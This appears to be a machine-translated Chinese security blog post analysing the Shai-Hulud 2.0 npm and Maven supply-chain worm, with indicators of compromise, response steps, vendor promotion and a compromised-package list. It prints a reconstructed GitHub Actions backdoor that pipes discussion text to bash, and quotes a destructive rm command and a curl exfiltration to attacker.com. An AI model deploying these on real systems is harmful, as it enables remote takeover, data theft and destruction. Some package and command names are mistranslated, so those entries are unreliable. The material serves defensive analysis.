TL博士
2025年11月24日,研究人员发现 沙伊·胡鲁德:第二次降临新一波 NPM供应链攻击 它会重新感染 npm 包,窃取凭据,并在开发人员的机器之间传播; CI/CD pipeline与第一次事件不同,此版本会动态安装 Bun 运行时,部署隐藏的 GitHub Actions 后门,并包含一个破坏性擦除器,能够擦除 Linux、macOS 和 Windows 上的整个用户主目录。短短几个小时内,受感染的软件包数量就激增至 830 多个,证实这并非简单的变种,而是攻击手段的重大升级。 原始蠕虫.
冲击任何安装公共 npm 包的开发者或 CI 运行器都可能面临风险。受感染的包会被自动镜像到 Maven Central,因此 Java 团队也面临风险。
立即采取的行动: 阻止已知的恶意版本,强制执行仅使用 lockfile 进行安装,轮换 npm、GitHub 和云凭证,删除未知的自托管运行器,并监控 IoC,例如 setup_bun.js、bun_environment.js 和包含“Sha1-Hulud: The Second Coming”的可疑 GitHub 存储库。
发生了什么变化:NPM供应链攻击事件中Shai Hulud如何从Maven转向其他平台
Shai Hulud 蠕虫病毒的第二波攻击标志着其规模的重大升级。在第一波攻击中,该蠕虫病毒一直停留在 npm 生态系统内部。而这一次,恶意软件突破了 npm 的限制,进入了其他系统。 Maven中央暴露了从未接触过 npm 的 Java 团队。
时间线和令牌窗口
袭击始于 2025 年 11 月 24 日就在 npm 弃用其旧版身份验证令牌之前 9 年 12 月.
这些旧令牌更容易被窃取和重复使用。由于攻击者在此期间仍然可以访问这些令牌,因此他们能够在截止时间前高速重新发布数百个恶意版本。
恶意软件是如何入侵 Maven 的?
跨寄存器跳转的发生是由于 mvnpm一个将 npm 包转换为 Maven 工件的自动化镜像工具。
mvnpm 不执行安全检查。它只是简单地重新打包 npm 发布的内容。
结果是:
- 一个被篡改的 npm 包(例如) posthog-node@4.18.1)
- 已自动转换为 Maven 构件
org.mvnpm:posthog-node:4.18.1 - 在任何人意识到它已被感染之前,它就被发布到了 Maven Central。
这意味着 Java 开发人员成为 npm 漏洞的受害者即使他们从未安装过 npm 包。
为什么重要意义
这是 首个已知的跨注册表蠕虫其中,供应链攻击仅通过自动化就从一个生态系统蔓延到另一个生态系统。
因此,受影响的范围现在包括 Java、JVM 工作负载,以及 enterprise 构建依赖于 Maven Central 的系统。
是什么让《Shai Hulud 2.0》如此严肃
Bun 运行时用于逃避检测
攻击者从 Node.js 切换到了 Bun 运行时环境。该恶意软件通过以下方式动态安装 Bun: setup_bun.js 在软件包安装过程中,这避免了针对特定节点的监控,并使攻击者能够更快地执行非常大的混淆有效载荷。
GitHub Actions 被用作命令后门
安装完成后,该恶意软件会在 GitHub Actions 中创建一个隐藏的自托管运行器。 $HOME/.dev-env/这种方法适用于 Windows、macOS 和 Linux 系统。攻击者只需在被入侵的 GitHub 代码库的讨论区发布消息,即可运行命令。一个工作流文件会处理这些消息,并将其作为 shell 命令执行。
内置雨刮器
如果恶意软件无法通过 GitHub 或 npm 进行身份验证,它会清除受害者的主目录。
- 在 Windows 系统上,它使用 该, rd和 密码/W 擦除文件。
- 在 Linux 和 macOS 上,它会覆盖数据。 切碎 然后删除目录。
一场非常喧闹的运动
尽管该恶意软件采用了一些隐蔽手段(例如使用 Bun),但整个攻击活动绝非悄无声息。它积极地重新发布被入侵的软件包,创建成百上千个新的软件仓库,批量上传凭证转储文件,并在开发者机器上安装长期运行的自托管运行程序。所有这些行为都绝非低调。与大多数供应链入侵事件相比,此次攻击的规模、速度和行动的“高调程度”都显得格外突出,因为后者往往优先考虑尽可能长时间地保持隐蔽。.
广泛影响
攻击者入侵了许多每月下载量达数百万次的知名软件包,其中包括:
Zapier、ENS Domains、Postman、PostHog、AsyncAPI 和 Voiceflow。
可能的归因信号
此次攻击的来源难以确定,目前尚无确凿证据证明其幕后操纵。一家大型安全公司指出,此次攻击与之前的 Shai-Hulud 蠕虫病毒类似,但有效载荷的构建方式和恶意软件的传播方式存在差异,这表明此次攻击可能出自不同的幕后操纵者之手。该公司的评估强调,在 npm 移除这些受感染的软件包之前,多个环境都下载了这些软件包,这表明此次攻击并非短期测试,而是真实环境中的攻击。
鉴于此次攻击的策略与第一波攻击如出一辙,但在关键方面,尤其是在有效载荷结构、传播逻辑和操作“风格”方面,存在差异,因此模仿攻击的可能性很大。攻击者可能借鉴了Shai-Hulud的思路,但使用了他们自己的工具。这可能意味着另一个组织试图完全模仿之前的攻击活动。
目前尚无确凿证据表明其与任何已知行为者、以经济利益为目的的团体或国家关联实体有关。虽然它与原始蠕虫病毒存在重叠之处,但差异足以将其归因归类为“未确认”。
传播到 Maven
一家大型安全公司证实,恶意 npm 包是通过自动重新发布到 Maven 的。 mvnpm一个无需人工审核即可将 npm 包转换为 Maven 工件的工具。
以下软件包已推送至 Maven Central: org.mvnpm:posthog-node:4.18.1
由于 mvnpm 只是简单地重新打包 npm 发布的内容,因此在任何人意识到之前,受感染的版本就已经镜像到了 Java 生态系统中。
Maven Central 于 2025 年 11 月 25 日移除了受影响的工件,并开始加强控制以防止类似的跨注册表问题。
这意味着即使与 npm 没有直接关联的 Java 项目也可能被暴露出来。
Shai Hulud 2.0 攻击原理
感染流
- 一个恶意的 预安装 脚本已添加到 的package.json.
- setup_bun.js 如果 Bun 缺失,则在受害者的计算机上安装 Bun。
- bun_environment.js (超过 480 万行混淆代码)在后台运行。
- 该恶意软件使用与 TruffleHog 类似的技术扫描凭据。它会查找……
- AWS、GCP 和 Azure 密钥
- GitHub 令牌
- npm 令牌
- CI系统机密
- AWS、GCP 和 Azure 密钥
- 被盗数据被上传到公共 GitHub 存储库,其描述为“Sha1-Hulud:第二次降临”。
- 该恶意软件利用捕获的令牌发布被篡改的软件包版本,感染可访问的 GitHub 存储库,并安装持久的自托管运行器以执行远程代码。
恶意 GitHub 工作流
在第二波 Shai-Hulud NPM 供应链攻击期间,恶意软件创建了 两个隐藏的 GitHub Actions 工作流 在被攻破的代码库内部,这些工作流程使攻击者能够远程执行代码、长期持久化以及完全访问系统机密信息。
1. 后门工作流程(discussion.yaml)
最危险的工作流程会倾听 GitHub 讨论 事件。当创建或编辑讨论消息时,工作流会读取消息正文并将其作为事件执行。 外壳命令 在受害者的电脑上。
以下是根据观察到的样本重建的恶意工作流程的简化版本:
# .github/workflows/discussion.yaml
name: Discussion Backdoor
on:
discussion:
types: [created, edited]
jobs:
exec:
runs-on: self-hosted
steps:
- name: Execute attacker command
run: |
echo "${{ github.event.discussion.body }}" | bash
关键线是:
${{ github.event.discussion.body }}
这意味着攻击者可以在 GitHub Discussion 中发布任何命令,而自托管的运行器会立即执行该命令。由于自托管的运行器通常可以访问内部网络、云凭证和 CI 密钥,因此在 Shai Hulud NPM 供应链攻击期间,此后门使攻击者能够完全远程执行代码。
命令注入漏洞利用
此工作流程利用了 GitHub Actions 处理表达式的方式。它没有将输入限制为安全字符串,而是读取原始讨论内容并将其直接传递给 shell。因此,攻击者只需发布类似这样的消息:
rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json
由于这种行为在 Shai Hulud NPM 供应链攻击中反复出现,因此它成为恶意软件正在使用 GitHub Actions 作为远程命令通道的最明确信号之一。
自托管的跑团软件会使情况变得更糟,因为它们:
- 在公司网络内部运行
- 持有云或 CI/CD 证书
- 以用户权限执行
- 没有 GitHub 的沙箱或隔离机制
这使得攻击者能够通过持续的命令通道进入内部环境。
秘密和系统收集工作流程
除了后门之外,该恶意软件还会释放另一个工作流程,其目的是从受感染的系统中收集和存储敏感数据。
这些工作流程收集:
- 云凭证
- 环境变量
- 目录列表
- 松露猪式秘密扫描
他们将收集到的数据存储在如下文件中:
- cloud.json
- environment.json
- contents.json
- truffleSecrets.json
然后,这些文件被上传到攻击者控制的 GitHub 存储库,并被标记为 “Sha1-Hulud:第二次降临”在那里发现了成百上千个垃圾倾倒点。
妥协指标
| 文件 | SHA256 |
|---|---|
| setup_bun.js | a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a |
| bun_environment.js | 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 |
其他危险信号
- .github/workflows/discussion.yaml
- $HOME/.dev-env/ 包含意想不到的跑步者
- 您帐户中创建的包含“Sha1-Hulud: The Second Coming”的公共 GitHub 仓库
更新后的指标(截至2025年11月26日)
| 米制 | 计数 |
|---|---|
| npm 包遭到入侵 | 830+ |
| 受感染的GitHub仓库 | 28,000+ |
| 秘密文件已上传 | 5,000+ |
| 收集到的全部秘密 | 11,858 |
| 有效秘密 | 2,298 |
下一步行动:应对 Shai Hulud NPM 供应链攻击
Shai Hulud NPM 供应链攻击需要快速且有条不紊的响应。由于第二波攻击波及 npm、GitHub、开发者机器甚至 Maven Central,团队应迅速行动,检测、遏制并彻底修复任何暴露风险。以下步骤可帮助您按正确顺序做出反应,并降低进一步遭受攻击的风险。
检测
- 在 GitHub 上搜索描述为“Sha1-Hulud: The Second Coming”的仓库。
- 在软件包安装过程中查找 Bun 安装日志。
- 检查 package.json 文件是否存在意外的生命周期脚本,尤其要注意这一点。 预安装.
- 检查 $HOME/.dev-env/ 在开发人员或 CI 系统上。
- 查看 GitHub 和 npm 的发布日志,查找可疑的发布版本。
遏制
- 轮换所有凭证:GitHub、npm、云、CI 密钥、API 密钥。
- 禁用并移除未知的自托管运行程序。
- 暂时禁止创建代码仓库。
- 从依赖关系图中移除受感染的版本。
整治
- 清理受影响的系统。
- 检查所有 GitHub Actions 工作流中是否存在注入的文件。
- 检查 CI 日志中是否存在异常命令或运行情况。
从已知良好的软件包版本重新构建。
Xygeni如何帮助阻止类似Shai-Hulud Second Coming的攻击
在经历了像 Shai-Hulud Second Coming 这样猛烈的攻击之后,团队需要的不仅仅是手动检查。他们需要自动化的防护,在恶意软件到达开发人员、CI 运行人员或生产系统之前就将其拦截。而这正是 Xygeni 的主要优势所在。
恶意软件预警 (MEW):在威胁扩散之前检测它们
Xygeni 的早期预警引擎会实时扫描新增和更新的开源软件包,并标记可疑行为,例如:
- 混淆的 JavaScript 或大量捆绑代码
- 安装外部运行时(例如 Bun)的生命周期脚本
- 与 GitHub、npm 或云端端点的意外连接
- 写入器的滴管
$HOME,.dev-env/或工作流程文件夹
MEW 检测到了 Shai-Hulud 两波攻击中使用的模式,这有助于团队在攻击者进一步传播感染之前做出反应。
Guardrails in CI/CD 阻止恶意软件包
Xygeni 强制执行 guardrails 自动停止不安全操作:
- CI pipeline无法安装带有隐藏的预安装或后安装脚本的软件包
- 当软件包尝试创建如下工作流时,构建会失败:
.github/workflows/discussion.yaml - Pipeline拒绝来自不受信任来源或首次出现的帐户发布的依赖项
这大大缩小了攻击面,并防止恶意软件在 CI 作业中运行。
保密措施会缩小爆炸半径
由于 Shai-Hulud 会窃取云密钥、GitHub 令牌、npm 令牌和 CI 密钥,因此防护措施也必须关注凭证。Xygeni:
- 检测代码、日志、工作流和环境文件中暴露的敏感信息
- 自动轮换高风险凭证
- 强制使用短期代币以限制长期妥协
即使攻击者获得了初始访问权限,被盗密钥也会很快失效。
结语:沙伊·胡鲁德NPM供应链攻击事件为何至今仍意义重大
此 沙伊·胡鲁德第二次降临 事件表明,现代社会是多么容易发生灾难。 NPM供应链攻击 恶意软件可以跨生态系统传播。在这种情况下,恶意软件从 npm 跳转到 Maven,是因为像 npm 这样的自动化镜像工具。 mvnpm 未经验证就重新发布了被入侵的软件包。结果,即使 Java 团队从未直接使用过 npm,他们的安全也受到了威胁。这清楚地表明,跨注册表的工作流程需要立即进行审查,并需要更强有力的安全措施。
此外,此次攻击的规模和行为揭示了当今攻击者的运作方式。他们不再保持低调,而是一次性发布数百个软件包,部署隐藏的 GitHub 运行器,批量窃取密钥,甚至在出现任何故障时还会加入破坏性擦除程序。因此,人工审查无法跟上这种自动化程度和速度。团队需要在软件包、源代码和底层层面上获得持续的实时保护。 pipeline 层。
为什么持续 Pipeline Security 现在至关重要
像这样的攻击 沙伊·胡鲁德第二次降临 它将持续演变。因此,要阻止下一波浪潮,就需要内部自动运行的控制措施。 CI/CD而不是在妥协之后。现代防御必须结合早期恶意软件检测、严格的依赖关系验证、策略执行和机密保护,以防止恶意代码在开发环境中悄无声息地传播。
Xygeni 通过提供自动化服务来支持这一转变 guardrails 它覆盖整个软件供应链。它能在安装前识别可疑软件包,强制使用安全的依赖版本,阻止不安全的工作流程,检测泄露的密钥,并在出现异常情况时发出警报。 pipeline 活动。因此,即使供应链攻击迅速蔓延并跨越生态系统边界,团队也能保持安全。
受损软件包列表
也可以使用以下方式查询受影响的包裹: #shai-hulud / #shai-hulud-second-coming 标签内 OpenSourceMalware.com
| 小包装 | 版本 |
|---|---|
| 02回声 | 0.0.7 |
| @accordproject/concerto-analysis | 3.24.1 |
| @accordproject/concerto-linter | 3.24.1 |
| @accordproject/concerto-linter-default-ruleset | 3.24.1 |
| @accordproject/concerto-metamodel | 3.12.5 |
| @accordproject/concerto-types | 3.24.1 |
| @accordproject/markdown-it-cicero | 0.16.26 |
| @accordproject/template-engine | 2.7.2 |
| @actbase/css-to-react-native-transform | 1.0.3 |
| @actbase/native | 0.1.32 |
| @actbase/node-server | 1.1.19 |
| @actbase/react-absolute | 0.8.3 |
| @actbase/react-daum-postcode | 1.0.5 |
| @actbase/react-kakaosdk | 0.9.27 |
| @actbase/react-native-actionsheet | 1.0.3 |
| @actbase/react-native-devtools | 0.1.3 |
| @actbase/react-native-fast-image | 8.5.13 |
| @actbase/react-native-kakao-channel | 1.0.2 |
| @actbase/react-native-kakao-navi | 2.0.4 |
| @actbase/react-native-less-transformer | 1.0.6 |
| @actbase/react-native-naver-login | 1.0.1 |
| @actbase/react-native-simple-video | 1.0.13 |
| @actbase/react-native-tiktok | 1.1.3 |
| @alexcolls/nuxt-socket.io | 0.0.7、0.0.8 |
| @alexcolls/nuxt-ux | 0.6.2、0.6.1 |
| @antstackio/eslint-config-antstack | 0.0.3 |
| @antstackio/express-graphql-proxy | 0.2.8 |
| @antstackio/graphql-body-parser | 0.1.1 |
| @antstackio/json-to-graphql | 1.0.3 |
| @antstackio/shelbysam | 1.1.7 |
| @aryanhussain/my-angular-lib | 0.0.23 |
| @asyncapi/dotnet-rabbitmq-template | 1.0.2、1.0.1 |
| @asyncapi/edavisualiser | 1.2.2、1.2.1 |
| @asyncapi/go-watermill-template | 0.2.76、0.2.77 |
| @asyncapi/java-template | 0.3.6、0.3.5 |
| @asyncapi/keeper | 0.0.3、0.0.2 |
| @asyncapi/php-template | 0.1.2、0.1.1 |
| @asyncapi/python-paho-template | 0.2.15、0.2.14 |
| @asyncapi/server-api | 0.16.25、0.16.24 |
| @asyncapi/studio | 1.0.3、1.0.2 |
| @asyncapi/web-component | 2.6.7、2.6.6 |
| @browserbasehq/bb9 | 1.2.21 |
| @browserbasehq/director-ai | 1.0.3 |
| @browserbasehq/mcp | 2.1.1 |
| @browserbasehq/mcp-server-browserbase | 2.4.2 |
| @browserbasehq/sdk-functions | 0.0.4 |
| @browserbasehq/舞台工作人员 | 3.0.4 |
| @browserbasehq/stagehand-docs | 1.0.1 |
| @caretive/caret-cli | 0.0.2 |
| @clausehq/flows-step-httprequest | 0.1.14 |
| @clausehq/flows-step-jsontoxml | 0.1.14 |
| @clausehq/flows-step-mqtt | 0.1.14 |
| @clausehq/flows-step-sendgridmail | 0.1.14 |
| @clausehq/flows-step-taskscreateurl | 0.1.14 |
| @通勤/绽放 | 1.0.3 |
| @commute/market-data | 1.0.2 |
| @commute/market-data-chartjs | 2.3.1 |
| @dev-blinq/ai-qa-logic | 1.0.19 |
| @dev-blinq/cucumber-js | 1.0.131 |
| @dev-blinq/cucumber_client | 1.0.738 |
| @dev-blinq/ui-systems | 1.0.93 |
| @ensdomains/address-encoder | 1.1.5 |
| @ensdomains/黑名单 | 1.0.1 |
| @ensdomains/buffer | 0.1.2 |
| @ensdomains/ccip-read-cf-worker | 0.0.4 |
| @ensdomains/ccip-read-dns-gateway | 0.1.1 |
| @ensdomains/ccip-read-router | 0.0.7 |
| @ensdomains/ccip-read-worker-viem | 0.0.4 |
| @ensdomains/content-hash | 3.0.1 |
| @ensdomains/curvearithmetics | 1.0.1 |
| @ensdomains/cypress-metamask | 1.2.1 |
| @ensdomains/dnsprovejs | 0.5.3 |
| @ensdomains/dnssec-oracle-anchors | 0.0.2 |
| @ensdomains/dnssecoraclejs | 0.2.9 |
| @ensdomains/durin | 0.1.2 |
| @ensdomains/durin-middleware | 0.0.2 |
| @ensdomains/ens-archived-contracts | 0.0.3 |
| @ensdomains/ens-avatar | 1.0.4 |
| @ensdomains/ens-contracts | 1.6.1 |
| @ensdomains/ens-test-env | 1.0.2 |
| @ensdomains/ens-validation | 0.1.1 |
| @ensdomains/ensjs | 4.0.3 |
| @ensdomains/ensjs-react | 0.0.5 |
| @ensdomains/eth-ens-namehash | 2.0.16 |
| @ensdomains/hackathon-registrar | 1.0.5 |
| @ensdomains/hardhat-chai-matchers-viem | 0.1.15 |
| @ensdomains/hardhat-toolbox-viem-extended | 0.0.6 |
| @ensdomains/mock | 2.1.52 |
| @ensdomains/name-wrapper | 1.0.1 |
| @ensdomains/offchain-resolver-contracts | 0.2.2 |
| @ensdomains/op-resolver-contracts | 0.0.2 |
| @ensdomains/react-ens-address | 0.0.32 |
| @ensdomains/续订 | 0.0.13 |
| @ensdomains/renewal-widget | 0.1.10 |
| @ensdomains/反向记录 | 1.0.1 |
| @ensdomains/server-analytics | 0.0.2 |
| @ensdomains/solsha1 | 0.0.4 |
| @ensdomains/子域名注册商 | 0.2.4 |
| @ensdomains/test-utils | 1.3.1 |
| @ensdomains/thorin | 0.6.51 |
| @ensdomains/ui | 3.4.6 |
| @ensdomains/unicode-confusables | 0.1.1 |
| @ensdomains/unruggable-gateways | 0.0.3 |
| @ensdomains/vite-plugin-i18next-loader | 4.0.4 |
| @ensdomains/web3modal | 1.10.2 |
| @everreal/react-charts | 2.0.1、2.0.2 |
| @everreal/validate-esmoduleinterop-imports | 1.4.4、1.4.5 |
| @everreal/web-analytics | 0.0.1、0.0.2 |
| @faq-component/core | 0.0.4 |
| @faq-component/react | 1.0.1 |
| @fishingbooker/browser-sync-plugin | 1.0.5 |
| @fishingbooker/react-loader | 1.0.7 |
| @fishingbooker/react-pagination | 2.0.6 |
| @fishingbooker/react-raty | 2.0.1 |
| @fishingbooker/react-swiper | 0.1.5 |
| @hapheus/n8n-nodes-pgp | 1.5.1 |
| @hover-design/core | 0.0.1 |
| @hover-design/react | 0.2.1 |
| @ifelsedeveloper/protocol-contracts-svm-idl | 0.1.2 |
| @ifings/设计系统 | 4.9.2 |
| @ifings/metatron3 | 0.1.5 |
| @kvytech/cli | 0.0.7 |
| @kvytech/components | 0.0.2 |
| @kvytech/habbit-e2e-test | 0.0.2 |
| @kvytech/medusa-plugin-announcement | 0.0.8 |
| @kvytech/medusa-plugin-management | 0.0.5 |
| @kvytech/medusa-plugin-newsletter | 0.0.5 |
| @kvytech/medusa-plugin-product-reviews | 0.0.9 |
| @kvytech/medusa-plugin-promotion | 0.0.2 |
| @kvytech/web | 0.0.2 |
| @lessondesk/api-client | 9.12.3、9.12.2 |
| @lessondesk/babel-preset | 1.0.1 |
| @lessondesk/electron-group-api-client | 1.0.3 |
| @lessondesk/eslint-config | 1.4.2 |
| @lessondesk/material-icons | 1.0.3 |
| @lessondesk/react-table-context | 2.0.4 |
| @lessondesk/校车 | 5.2.2、5.2.3 |
| @livecms/live-edit | 0.0.32 |
| @livecms/nuxt-live-edit | 1.9.2 |
| @louisle2/core | 1.0.1 |
| @louisle2/cortex-js | 0.1.6 |
| @lpdjs/firestore-repo-service | 1.0.1 |
| @markvivanco/app-version-checker | 1.0.2、1.0.1 |
| @ntnx/passport-wso2 | 0.0.3 |
| @ntnx/t | 0.0.101 |
| @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode | 2.0.5 |
| @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode | 1.1.1 |
| @orbitgtbelgium/orbit-components | 1.2.9 |
| @orbitgtbelgium/time-slider | 1.0.187 |
| @osmanekrem/bmad | 1.0.6 |
| @osmanekrem/错误处理程序 | 1.2.2 |
| @posthog/agent | 1.24.1 |
| @posthog/ai | 7.1.2 |
| @posthog/cli | 0.5.15 |
| @posthog/clickhouse | 1.7.1 |
| @posthog/core | 1.5.6 |
| @posthog/hedgehog-mode | 0.0.42 |
| @posthog/icons | 0.36.1 |
| @posthog/lemon-ui | 0.0.1 |
| @posthog/nextjs-config | 1.5.1 |
| @posthog/nuxt | 1.2.9 |
| @posthog/piscina | 3.2.1 |
| @posthog/plugin-contrib | 0.0.6 |
| @posthog/react-rrweb-player | 1.1.4 |
| @posthog/rrdom | 0.0.31 |
| @posthog/rrweb | 0.0.31 |
| @posthog/rrweb-player | 0.0.31 |
| @posthog/rrweb-record | 0.0.31 |
| @posthog/rrweb-replay | 0.0.19 |
| @posthog/rrweb-snapshot | 0.0.31 |
| @posthog/rrweb-utils | 0.0.31 |
| @posthog/siphash | 1.1.2 |
| @posthog/wizard | 1.18.1 |
| @postman/aether-icons | 2.23.4、2.23.3、2.23.2 |
| @postman/csv解析 | 4.0.5、4.0.3、4.0.4 |
| @postman/node-keytar | 7.9.6、7.9.4、7.9.5 |
| @postman/tunnel-agent | 0.6.7、0.6.6、0.6.5 |
| @pradhumngautam/common-app | 1.0.2 |
| @pruthvi21/使用防抖动 | 1.0.3 |
| @quick-start-soft/quick-document-translator | 1.4.2511142126 |
| @quick-start-soft/quick-git-clean-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-compose | 1.4.2506300029 |
| @quick-start-soft/quick-markdown-image | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-print | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-translator | 1.4.2509202331 |
| @quick-start-soft/quick-remove-image-background | 1.4.2511142126 |
| @quick-start-soft/quick-task-refine | 1.4.2511142126 |
| @relyt/claude-context-core | 0.1.1 |
| @seezo/sdr-mcp-server | 0.0.5 |
| @seung-ju/next | 0.0.2 |
| @seung-ju/openapi-generator | 0.0.4 |
| @seung-ju/react-hooks | 0.0.2 |
| @seung-ju/react-native-action-sheet | 0.2.1 |
| @sme-ui/aoma-vevasound-metadata-lib | 0.1.3 |
| @strapbuild/react-native-date-time-picker | 2.0.4 |
| @strapbuild/react-native-perspective-image-cropper | 0.4.15 |
| @strapbuild/react-native-perspective-image-cropper-2 | 0.4.7 |
| @strapbuild/react-native-perspective-image-cropper-poojan31 | 0.4.6 |
| @suraj_h/medium-common | 1.0.5 |
| @thedelta/eslint-config | 1.0.2 |
| @tiaanduplessis/json | 2.0.3、2.0.2 |
| @tiaanduplessis/react-progressbar | 1.0.2、1.0.1 |
| @trefox/sleekshop-js | 0.1.6 |
| @trigo/atrix | 7.0.1 |
| @trigo/atrix-elasticsearch | 2.0.1 |
| @trigo/atrix-postgres | 1.0.3 |
| @trigo/atrix-pubsub | 4.0.3 |
| @trigo/atrix-soap | 1.0.2 |
| @trigo/atrix-swagger | 3.0.1 |
| @trigo/bool-expressions | 4.1.3 |
| @trigo/eslint-config-trigo | 3.3.1 |
| @trigo/fsm | 3.4.2 |
| @trigo/hapi-auth-signedlink | 1.3.1 |
| @trigo/pathfinder-ui-css | 0.1.1 |
| @trigo/trigo-hapijs | 5.0.1 |
| @trpc-rate-limiter/cloudflare | 0.1.4 |
| @trpc-rate-limiter/hono | 0.1.4 |
| @varsityvibe/api-client | 1.3.36、1.3.37 |
| @varsityvibe/utils | 5.0.6 |
| @varsityvibe/验证方案 | 0.6.7、0.6.8 |
| @vishadtyagi/全年日历 | 0.1.11 |
| @voiceflow/alexa-types | 2.15.60、2.15.61 |
| @voiceflow/anthropic | 0.4.4、0.4.5 |
| @voiceflow/api-sdk | 3.28.58、3.28.59 |
| @voiceflow/backend-utils | 5.0.2、5.0.1 |
| @voiceflow/base-types | 2.136.3、2.136.2 |
| @voiceflow/body-parser | 1.21.2、1.21.3 |
| @voiceflow/聊天类型 | 2.14.59、2.14.58 |
| @voiceflow/circleci-config-sdk-orb-import | 0.2.1、0.2.2 |
| @voiceflow/commitlint-config | 2.6.2、2.6.1 |
| @voiceflow/common | 8.9.1、8.9.2 |
| @voiceflow/default-prompt-wrappers | 1.7.4、1.7.3 |
| @voiceflow/dependency-cruiser-config | 1.8.12、1.8.11 |
| @voiceflow/dtos-interact | 1.40.2、1.40.1 |
| @voiceflow/加密 | 0.3.3、0.3.2 |
| @voiceflow/eslint-config | 7.16.4、7.16.5 |
| @voiceflow/eslint-plugin | 1.6.2、1.6.1 |
| @voiceflow/exception | 1.10.2、1.10.1 |
| @voiceflow/fetch | 1.11.1、1.11.2 |
| @voiceflow/general-types | 3.2.23、3.2.22 |
| @voiceflow/git-branch-check | 1.4.4、1.4.3 |
| @voiceflow/google-dfes-types | 2.17.12、2.17.13 |
| @voiceflow/google-types | 2.21.12、2.21.13 |
| @voiceflow/husky-config | 1.3.1、1.3.2 |
| @voiceflow/logger | 2.4.3、2.4.2 |
| @voiceflow/metrics | 1.5.2、1.5.1 |
| @voiceflow/natural-language-commander | 0.5.2、0.5.3 |
| @voiceflow/nestjs-common | 2.75.2、2.75.3 |
| @voiceflow/nestjs-mongodb | 1.3.1、1.3.2 |
| @voiceflow/nestjs-rate-limit | 1.3.3、1.3.2 |
| @voiceflow/nestjs-redis | 1.3.1、1.3.2 |
| @voiceflow/nestjs-timeout | 1.3.1、1.3.2 |
| @voiceflow/npm-package-json-lint-config | 1.1.1、1.1.2 |
| @voiceflow/openai | 3.2.2、3.2.3 |
| @voiceflow/pino | 6.11.4、6.11.3 |
| @voiceflow/pino-pretty | 4.4.2、4.4.1 |
| @voiceflow/prettier-config | 1.10.2、1.10.1 |
| @voiceflow/react-chat | 1.65.4、1.65.3 |
| @voiceflow/runtime | 1.29.1、1.29.2 |
| @voiceflow/runtime-client-js | 1.17.3、1.17.2 |
| @voiceflow/sdk-runtime | 1.43.2、1.43.1 |
| @voiceflow/secrets-provider | 1.9.3、1.9.2 |
| @voiceflow/semantic-release-config | 1.4.2、1.4.1 |
| @voiceflow/serverless-plugin-typescript | 2.1.7、2.1.8 |
| @voiceflow/slate-serializer | 1.7.4、1.7.3 |
| @voiceflow/stitches-react | 2.3.3、2.3.2 |
| @voiceflow/storybook-config | 1.2.2、1.2.3 |
| @voiceflow/stylelint-config | 1.1.1、1.1.2 |
| @voiceflow/test-common | 2.1.1、2.1.2 |
| @voiceflow/tsconfig | 1.12.2、1.12.1 |
| @voiceflow/tsconfig-paths | 1.1.5、1.1.4 |
| @voiceflow/utils-designer | 1.74.19、1.74.20 |
| @voiceflow/verror | 1.1.5、1.1.4 |
| @voiceflow/vite-config | 2.6.2、2.6.3 |
| @voiceflow/vitest-config | 1.10.3、1.10.2 |
| @voiceflow/voice-types | 2.10.59、2.10.58 |
| @voiceflow/voiceflow-types | 3.32.45、3.32.46 |
| @voiceflow/widget | 1.7.18、1.7.19 |
| @zapier/ai-actions | 0.1.20、0.1.19、0.1.18 |
| @zapier/babel-preset-zapier | 6.4.2、6.4.1、6.4.3 |
| @zapier/browserslist-config-zapier | 1.0.4、1.0.3、1.0.5 |
| @zapier/secret-scrubber | 1.1.5、1.1.4、1.1.3 |
| 人工智能防空 | 1.0.7 |
| arc-cli-fc | 1.0.1 |
| asyncapi-预览 | 1.0.2、1.0.1 |
| 特里克斯 | 1.0.1 |
| 自动化模型 | 1.0.491 |
| axios-builder | 1.2.1 |
| 可取消的 | 1.0.2、1.0.1 |
| axios定时 | 1.0.2、1.0.1 |
| 基本 CSS | 1.1.4、1.1.3 |
| benmostyn-frame-print | 1.0.1 |
| 世界上最好的GPIO调节器 | 1.0.10 |
| 双向适配器 | 1.2.2、1.2.4、1.2.5、1.2.3 |
| blinqio-executions-cli | 1.0.41 |
| blob 到 base64 | 1.0.3 |
| bun-plugin-httpfile | 0.1.1 |
| bytecode-checker-cli | 1.0.11、1.0.8、1.0.9、1.0.10 |
| 字节到 x | 1.0.1 |
| 计算贷款利息 | 1.0.4 |
| 电容器插件-apptrackingios | 0.0.21 |
| 电容器插件购买 | 0.1.1 |
| capacitor-plugin-scgssigninwithgoogle | 0.0.5 |
| 电容器购买历史 | 0.0.10 |
| 电容式录音机-wav | 6.0.3 |
| chrome-extension-downloads | 0.0.3、0.0.4 |
| claude-token-updater | 1.0.3 |
| coinmarketcap-api | 3.1.3、3.1.2 |
| 颜色正则表达式 | 2.0.1 |
| 命令-irail | 0.5.4 |
| 比较对象 | 1.1.1、1.1.2 |
| 复合减径机 | 1.0.4、1.0.3、1.0.2、1.0.5 |
| 倒计时 | 1.0.2、1.0.1 |
| CPU指令 | 0.0.14 |
| 创建导演应用程序 | 0.1.1 |
| 创建 Glee 应用 | 0.2.3、0.2.2 |
| 创建硬帽3应用程序 | 1.1.4、1.1.3、1.1.1、1.1.2 |
| 加密地址编解码器 | 0.1.9 |
| css-dedoupe | 0.1.2 |
| dashboard空状态 | 1.0.3 |
| designstudiouiux | 1.0.1 |
| devstart-cli | 1.0.6 |
| Dialogflow-es | 1.1.4、1.1.3、1.1.1、1.1.2 |
| discord机器人服务器 | 0.1.2 |
| docusaurus-plugin-vanilla-extract | 1.0.3 |
| 不要走 | 1.1.2 |
| dotnet-template | 0.0.3、0.0.4 |
| drop-events-on-property-plugin | 0.0.2 |
| 电子邮件送达率测试器 | 1.1.1 |
| 强制分支名称 | 1.1.3 |
| esbuild-plugin-brotli | 0.2.1 |
| esbuild-plugin-eta | 0.1.1 |
| esbuild-plugin-httpfile | 0.4.1 |
| eslint-config-nitpicky | 4.0.1 |
| eslint-config-trigo | 22.0.2 |
| eslint-config-zeallat-base | 1.0.4 |
| 以太坊-ens | 0.8.1 |
| evm-checkcode-cli | 1.0.15、1.0.12、1.0.13、1.0.14 |
